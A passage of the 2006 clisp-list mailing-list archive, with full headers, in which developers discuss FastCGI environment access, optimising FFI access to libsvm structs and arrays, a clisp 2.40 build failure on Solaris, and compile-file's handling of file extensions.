Joerg-Cyril" To: X-OriginalArrivalTime: 09 Oct 2006 09:22:17.0310 (UTC) FILETIME=[69FDF7E0:01C6EB84] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 10:06:02 -0000 Don Cohen wrote: > > > > :return-type (c-array-ptr c-string) > > Use AREF, use (POSITION #\=3D #)) etc. >Is this the case that copies the array into a lisp array on every >reference? I don't much like that. Since the fastcgi already provides a function to access a single variable and you explicitly asked for the whole environment, I think a "do it all at once" conversion is what's needed. If you don't do it at once, how are you going to scan it? You'd need ffi code to extract elements, but then you already have the fastcgi_getenv(). Thus IMHO, convert-all makes a lot of sense given that getenv() already exists. Another possibility would be get-all-names() (then use getenv on wanted names), but neither fastcgi nor char **environ support that easily (poor C). Of course, once you convert, cache it once for the session, then operate on Lisp data. Don't convert again. > What I normally want is >256 characters with code 0-255. How do I get that? =20 >(There should be no errors in that case, right?) I already pointed at iso-8859-1, the 1:1 section in the cookbook, and there's a similar section in the impnotes IIRC about binary i/o IIRC. >If you could implement fastcgi entirely within clisp (no ffi) I would=20 >like that a lot better. Interesting. Cliki mentions a Lisp-level version written for cmucl. Presumably only the socket stuff is non-portable, so it might be trivial to convert. Any volunteer? Maybe it would become as successful as LTk is (Tcl/Tk over portable Lisp+socket code, no FFI), or pg.lisp (Postgresql over socket, no FFI)? > I assume it's not difficult after you figure >out what it's required to do. I imagine you'd then have a normal >IO stream that you could manipulate as you like. I don't know if said cmucl library provides STREAM objects (beside slow gray streams), since that's non-portable either. >(what's TRT?) Sorry. The Right Thing. Thank you for asking. >I don't really know, but I supposed the fastcgi stream was a socket >stream.=20 No, it cannot be, since the fastcgi protocol multiplexes stdout and stderr in packets. The Lisp application writer would not see the socket stream used for the connection. >I see no documentation on the php site. >If you can show me that (and finish) I'll be in business. Php business or Lisp business? :-) >I think the standard approach is that php runs inside apache. AFAIK it still initializes anew for each request and reparse all includes and the .php file. Only additional accelerators avoid that. That said, I've seen several sites run without accelerators (I haven't used one myself for the one php application that I wrote (BTW, if you're interested in a template engine for php, I can recommend the one I used and how I designed around no exception handling in php to produce both readable & reliable code)). Regards, Jorg Hohle. From sds@gnu.org Mon Oct 09 06:48:45 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWvUr-0003OH-5w for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 06:48:45 -0700 Received: from [66.155.124.107] (helo=janestcapital.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GWvUq-0006d1-OB for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 06:48:45 -0700 Received: from [192.168.250.217] [209.213.205.130] by janestcapital.com with ESMTP (SMTPD32-8.13) id A34917A200B2; Mon, 09 Oct 2006 09:48:57 -0400 Message-ID: <452A5332.80607@gnu.org> Date: Mon, 09 Oct 2006 09:48:34 -0400 From: Sam Steingold User-Agent: Thunderbird 1.5.0.7 (X11/20060913) MIME-Version: 1.0 To: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net References: <45265EF3.7040708@gnu.org> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: clisp-list@lists.sourceforge.net List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 13:48:45 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold wrote: > > libsvm.lisp: > (defun problem-l (problem) > ;;FIXME: horribly inefficient > (slot (foreign-value problem) 'l))) > Why do you believe this to be horribly inefficient? > Quite to the contrary, that's the fastest you can come up with, except from a C level accessor function. if PROBLEM size is 10,000,000, then this method will require allocating (ARRAY DOUBLE-FLOAT 10000000) as well as (SIMPLE-VECTOR 10000000) for nodes &c. > Note that I already mentioned I consider (SLOT FOREIGN-VALUE abstraction violation. > Maybe that's confusing you and you believe the explicit > FOREIGN-VALUE will perform a full conversion? It won't. > Source code transformations are going on to turn that > inside out into (foreign-value (FFI::%SLOT problem 'l)). indeed... cool! > I forgot who observed and reported some time ago that > C level accessors are much faster than slot access. > I didn't verify nor investigate it, and it's still puzzling me as in both cases, > the same conversion functions are used. > - foreign function call has the overhead of libavcall and parsing the ff description. > - slot access has the overhead of parsing the ff struct description, > first creating a # of the given type, then convert. > So each slot access produces garbage. this sucks. >> here is what I came up with: >> (def-c-type node (c-struct list (index int) (value double-float))) >> (def-c-type problem (c-struct list >> (l int) ; number of records >> (y (c-array-ptr double-float)) ; of length l (targets) >> (x (c-array-ptr (c-array-ptr node))))); of length l (predictors) > > Good. However I wonder about the double indirection. Do you really have arrays of arrays to struct node? yes, please see README, svm.h, svm.cpp > I'd merely suggest > (defun problem-y (problem) > (with-c-place (p problem) > (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l problem)))))) this works, thanks. > If you want parse-c-type optimization, you'll need more explicit dereferencing steps to eventually use > (cast ... `(c-array double-float ,(problem-l problem))) > since only that specific pattern is optimized away. how about making the compiler-macro parse-c-type handle c-ptr? --- foreign1.lisp 06 Oct 2006 06:00:51 -0400 1.102 +++ foreign1.lisp 09 Oct 2006 09:47:32 -0400 @@ -299,6 +299,14 @@ ((typep typespec '(CONS (EQL SYS::BACKQUOTE) (CONS + (CONS (MEMBER C-POINTER C-PTR-NULL C-PTR) + (CONS T NULL))))) + (return-from parse-c-type + (let ((typespec (second typespec))) + `(VECTOR ',(first typespec) (PARSE-C-TYPE ',(second typespec)))))) + ((typep typespec + '(CONS (EQL SYS::BACKQUOTE) + (CONS (CONS (MEMBER C-ARRAY C-ARRAY-MAX) (CONS ATOM ; do not match (SYSTEM::UNQUOTE #) here (CONS (CONS (EQL SYS::UNQUOTE) thanks! Sam. From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 09 09:34:50 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWy5a-0003zg-9b for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 09:34:50 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GWy5U-0002Gf-M3 for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 09:34:47 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 9 Oct 2006 17:39:13 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 17:39:13 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Date: Mon, 9 Oct 2006 17:39:11 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5 Message-Id: in-reply-to: <452A5332.80607@gnu.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [clisp-list] ffi & libsvm feedback on module Thread-Index: AcbrqcX0G9syVJM7R1S0xDebcW76NQADPvsA From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 09 Oct 2006 15:39:13.0162 (UTC) FILETIME=[12171EA0:01C6EBB9] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 16:34:50 -0000 Sam Steingold suggested: >how about making the compiler-macro parse-c-type handle c-ptr? Where are you going to stop? >--- foreign1.lisp 06 Oct 2006 06:00:51 -0400 1.102 >+++ foreign1.lisp 09 Oct 2006 09:47:32 -0400=09 >@@ -299,6 +299,14 @@ > ((typep typespec > '(CONS (EQL SYS::BACKQUOTE) > (CONS >+ (CONS (MEMBER C-POINTER C-PTR-NULL C-PTR) >+ (CONS T NULL))))) This is broken code for exactly the reason I hinted at in the comment below. >+ (return-from parse-c-type >+ (let ((typespec (second typespec))) >+ `(VECTOR ',(first typespec) (PARSE-C-TYPE ',(second typespec)))))) >+ ((typep typespec >+ '(CONS (EQL SYS::BACKQUOTE) >+ (CONS > (CONS (MEMBER C-ARRAY C-ARRAY-MAX) > (CONS ATOM ; do not match (SYSTEM::UNQUOTE #) here > (CONS (CONS (EQL SYS::UNQUOTE) I believe I did not include in the testsuite a case which shows that (CONS ATOM ...) is necessary over type (CONS T ...). Macro-optimization on backquote forms is hairy. I think it shows a limit of the CL macro model. One can optimize only trivial forms when all that is given is pre-order traversal of the code structure, which is how macros work. Unless you write more or less elaborate code transformers, like Series, arnesi or Iterate. I have yet to understand whether Scheme's approach to macros would help here. Maybe, maybe not. Regards, Jorg. From lisp-clisp-list@m.gmane.org Mon Oct 09 10:03:34 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWyXO-0007tU-KO for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 10:03:34 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GWyXO-0006bO-5R for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 10:03:34 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GWyUp-0007yr-2h for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 19:00:57 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 09 Oct 2006 19:00:54 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 09 Oct 2006 19:00:54 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Mon, 09 Oct 2006 12:57:49 -0400 Lines: 26 Message-ID: <452A7F8D.8090504@gnu.org> References: <452A5332.80607@gnu.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 17:03:34 -0000 Hoehle, Joerg-Cyril wrote: > Sam Steingold suggested: >> how about making the compiler-macro parse-c-type handle c-ptr? > Where are you going to stop? fair enough. ;; FIXME: `parse-c-type' is not optimized away in `(c-ptr ...) (defun problem-y (problem &optional (len (problem-l problem))) (with-c-place (p problem) (cast (slot p 'y) `(c-ptr (c-array double-float ,len))))) (defun problem-x (problem &optional (len (problem-l problem))) (with-c-place (p problem) (cast (slot p 'x) `(c-ptr (c-array (c-array-ptr node) ,len))))) I can live with the above on the assumption that the cost of data allocation will dwarf the cost of `parse-c-type'. alternatively, I think (cast (slot p 'y) (vector 'c-ptr (parse-c-type `(c-array double-float ,len))))) is a viable (if disgusting) alternative (or maybe there is a better way?) but I don't see how to access a specific element in the array without converting the whole array... thanks. Sam. From Joerg-Cyril.Hoehle@t-systems.com Mon Oct 09 10:07:06 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GWyao-0008FT-0w for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 10:07:06 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GWyan-00047B-8o for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 10:07:05 -0700 Received: from S4DE8PSAAGT.mitte.t-com.de by tcmail31.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Mon, 9 Oct 2006 18:17:58 +0200 Received: from S4DE8PSAAFQ.mitte.t-com.de ([10.151.180.5]) by S4DE8PSAAGT.mitte.t-com.de with Microsoft SMTPSVC(6.0.3790.1830); Mon, 9 Oct 2006 18:17:57 +0200 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Date: Mon, 9 Oct 2006 18:17:55 +0200 X-MimeOLE: Produced By Microsoft Exchange V6.5 Message-Id: in-reply-to: <452A4B32.1040205@podval.org> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: mails with/without CC Thread-Index: Acbrr9Y1nc+BUTX/RhmfgOtFF7gzAgAC0VDQ From: "Hoehle, Joerg-Cyril" To: X-OriginalArrivalTime: 09 Oct 2006 16:17:57.0287 (UTC) FILETIME=[7B607370:01C6EBBE] X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: Re: [clisp-list] ffi & libsvm feedback on module X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 17:07:06 -0000 Sam Steingold wrote: >> (defun problem-y (problem) >> (with-c-place (p problem) >> (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l = problem)))))) >this works, thanks. >what I want is something like >(defun problem-y-i (problem i) Here's the variation on the same topic, including range checks: (defun problem-y (problem &optional i) (with-c-place (p problem) (if i (elt (deref (cast (slot p 'y) `(c-ptr (c-array double-float = ,(problem-l problem))))) i) (cast (slot p 'y) `(c-ptr (c-array double-float ,(problem-l = problem))))))) A bit verbose... >(please reply to clisp-list, Reply-to is set) Indeed, works. Still trying to optimize? > > first creating a # of the given type, then = convert. > > So each slot access produces garbage. >this sucks. The only way around this extra step is FFI:MEMORY-AS. (defun problem-y (problem i) (let* ((y ffi::%slot problem 'y) (ptr (memory-as y (parse-c-type 'c-pointer)) (array (foreign-variable ptr (parse-c-type `(c-array = double-float ,#))))) (foreign-value (ffi::%elt array i)))) The latter could be optimized as: (memory-as array (parse-c-type 'double-float) (* (sizeof = 'double-float) i) - without range checks! The first two as: ptr =3D (memory-as problem (parse-c-type 'c-pointer) (offsetof y in = problem)) This is what CFFI *might* be doing, if it optimizes well -- not sure at = all (I fear, quite to the contrary, that it does a lot of pointer = arithmetic and wasteful pointer object <-> integer conversions). At least, this is what I hoped CFFI would do. Who wants to check how CFFI performs optimizations on struct and array = access? Regards, J=F6rg H=F6hle From don-sourceforge-xx@isis.cs3-inc.com Mon Oct 09 12:57:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GX1Fo-0006YN-14 for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 12:57:36 -0700 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GX1Fm-000653-ID for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 12:57:35 -0700 Received: by isis.cs3-inc.com (Postfix, from userid 501) id F34341A818F; Mon, 9 Oct 2006 12:57:30 -0700 (PDT) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17706.43434.942048.612923@isis.cs3-inc.com> Date: Mon, 9 Oct 2006 12:57:30 -0700 To: "Hoehle, Joerg-Cyril" In-Reply-To: References: <17702.33629.562920.752978@isis.cs3-inc.com> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] fastcgi suggestion - access to whole environment X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 19:57:36 -0000 Hoehle, Joerg-Cyril writes: > Don Cohen wrote: > > > > > > :return-type (c-array-ptr c-string) > > > Use AREF, use (POSITION #\= #)) etc. > >Is this the case that copies the array into a lisp array on every > >reference? I don't much like that. I agree that in this case it makes sense to read it once, save the result and use that. More generally, though, in cases where you might want to read the value many times (it's changing out from under you) and it's large (neither of which are true in this case), iterating as in my example code generates less garbage and saves even more in the case where you don't need to read the entire thing. > > What I normally want is > >256 characters with code 0-255. How do I get that? > >(There should be no errors in that case, right?) > I already pointed at iso-8859-1, the 1:1 section in the cookbook, and > there's a similar section in the impnotes IIRC about binary i/o IIRC. Actually, even this is problematic due to the end-of-line stuff. I want to be able to distinguish CR from LF. I guess it's really not 1-1 if both of those map to newline. > >If you could implement fastcgi entirely within clisp (no ffi) I would > >like that a lot better. > Interesting. > Cliki mentions a Lisp-level version written for cmucl. Presumably only > the socket stuff is non-portable, so it might be trivial to convert. ... can't seem to reach it at the moment, will look later (While I'm there I should look for alternatives for accessing mysql and xmlrpc. Recommendations are appreciated.) > No, it cannot be, since the fastcgi protocol multiplexes stdout and > stderr in packets. The Lisp application writer would not see the socket > stream used for the connection. I see, I might have to read the spec after all. > >I think the standard approach is that php runs inside apache. > AFAIK it still initializes anew for each request and reparse all > includes and the .php file. Yes, which is one reason why I wanted to use fastcgi. Also the standard way to save session state has to read/write files. There are also differences in semantics when you have potentially many different processes serving requests at the same time. Fastcgi would give one way of serializing the requests. One might also argue that makes it less scalable. From matt@mathcs.emory.edu Mon Oct 09 13:13:17 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GX1Uz-0007tU-1r for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 13:13:17 -0700 Received: from cssun.mathcs.emory.edu ([170.140.150.1]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GX1Ux-000417-KK for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 13:13:16 -0700 Received: from [170.140.150.128] (scuba [170.140.150.128]) by cssun.mathcs.emory.edu (8.12.10+Sun/8.12.10) with ESMTP id k99KDBjj019583 for ; Mon, 9 Oct 2006 16:13:11 -0400 (EDT) Message-ID: <452AAD57.8090706@mathcs.emory.edu> Date: Mon, 09 Oct 2006 16:13:11 -0400 From: "Matthew C. Aycock" User-Agent: Mail/News 1.5.0.4 (X11/20060720) MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Compile 2.40 on Sparc/Solaris 10 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 20:13:17 -0000 I am having trouble compiling clisp 2.40 on Solaris 10. I get the following error using Sudio 11: WARNING: locale: no encoding 646, using ISO-8859-1 WARNING: locale: no encoding 646, using ISO-8859-1 i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2006 *** - SVREF: index 29360132 for #(COMPILEDP NIL MY-OPEN NIL BAD NIL CHECK-COMPILED-FILE NIL NIL) is not of type `(INTEGER 0 (,ARRAY-DIMENSION-LIMIT)) Bye. *** Error code 1 make: Fatal error: Command failed for target `interpreted.mem' Any hints? -- Thanks, Matt ---------- Matthew C. Aycock Operating Systems Analyst/Developer, Lead Dept Math/CS Emory University, Atlanta, GA Internet: matt@mathcs.emory.edu From lisp-clisp-list@m.gmane.org Mon Oct 09 13:53:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GX28E-0002yZ-Gh for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 13:53:50 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GX28D-0004zM-Uf for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 13:53:50 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GX27K-0006Vg-8D for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 22:52:54 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 09 Oct 2006 22:52:54 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Mon, 09 Oct 2006 22:52:54 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Mon, 09 Oct 2006 16:51:32 -0400 Lines: 16 Message-ID: <452AB654.2030109@gnu.org> References: <452AAD57.8090706@mathcs.emory.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.7 (X11/20060913) In-Reply-To: <452AAD57.8090706@mathcs.emory.edu> Sender: news X-Spam-Score: 1.6 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO Subject: Re: [clisp-list] Compile 2.40 on Sparc/Solaris 10 X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 20:53:50 -0000 Matthew C. Aycock wrote: > I am having trouble compiling clisp 2.40 on Solaris 10. I get the > following error using Sudio 11: > *** - SVREF: index 29360132 for #(COMPILEDP NIL MY-OPEN NIL BAD NIL > CHECK-COMPILED-FILE NIL NIL) is not of type `(INTEGER 0 > (,ARRAY-DIMENSION-LIMIT)) > Bye. > *** Error code 1 > make: Fatal error: Command failed for target `interpreted.mem' > > Any hints? > this looks like an invalid bytecode. please do a clean build. please make sure that there are no old *.fas files floating around. From fahree@gmail.com Mon Oct 09 14:36:07 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GX2n9-0006e4-Ke for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 14:36:07 -0700 Received: from wx-out-0506.google.com ([66.249.82.232]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GX2n8-0003MX-8d for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 14:36:07 -0700 Received: by wx-out-0506.google.com with SMTP id r21so2192549wxc for ; Mon, 09 Oct 2006 14:36:03 -0700 (PDT) Received: by 10.70.83.4 with SMTP id g4mr12029871wxb; Mon, 09 Oct 2006 14:36:03 -0700 (PDT) Received: by 10.70.112.11 with HTTP; Mon, 9 Oct 2006 14:36:03 -0700 (PDT) Message-ID: <653bea160610091436w68f26489o3bbaa9e3b227e713@mail.gmail.com> Date: Mon, 9 Oct 2006 17:36:03 -0400 From: "=?ISO-8859-1?Q?Far=E9?=" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name Subject: [clisp-list] compile-file merging source pathname with .lisp X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 09 Oct 2006 21:36:07 -0000 When I switched cl-launch to compile the current script, and tried to create cl-launch scripts that didn't have a .sh extension, I realized that clisp systematically merge-pathnames any provided source pathname to add the type "lisp". This means that it's impossible to compile-file a source file that doesn't have an extension at all (unless you symlink it with another name). I think this is a bug that goes against the specification. Automatically adding ".lisp" shouldn't be done at all, at least, not if a file already exists without this extension. In the meantime, I've changed cl-launch to load without compiling when a file has no extension. [ Fran=E7ois-Ren=E9 =D0VB Rideau | Reflection&Cybernethics | http://fare.tu= nes.org ] Obstacles are those frightful things you see when you take your eyes off your goal. -- Henry Ford From pjb@informatimago.com Mon Oct 09 14:58:28 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GX38m-0008Tk-Fn for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 14:58:28 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GX38k-00088c-KS for clisp-list@lists.sourceforge.net; Mon, 09 Oct 2006 14:58:28 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 7B924585E6; Mon, 9 Oct 2006 23:58:19 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id A6F2B585D4; Mon, 9 Oct 2006 23:58:13 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 34F0912AD84; Mon, 9 Oct 2006 23:58:13 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17706.50677.34895.89005@thalassa.informatimago.com> Date: Mon, 9 Oct 2006 23:58:13 +0200 To: "=?ISO-8859-1?Q?Far=E9?=" In-Reply-To: <653bea160610091436w68f26489o3bbaa9e3b227e713@mail.gmail.com> References: <653bea160610091436w68f26489o3bbaa9e3b227e713@mail.gmail.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; 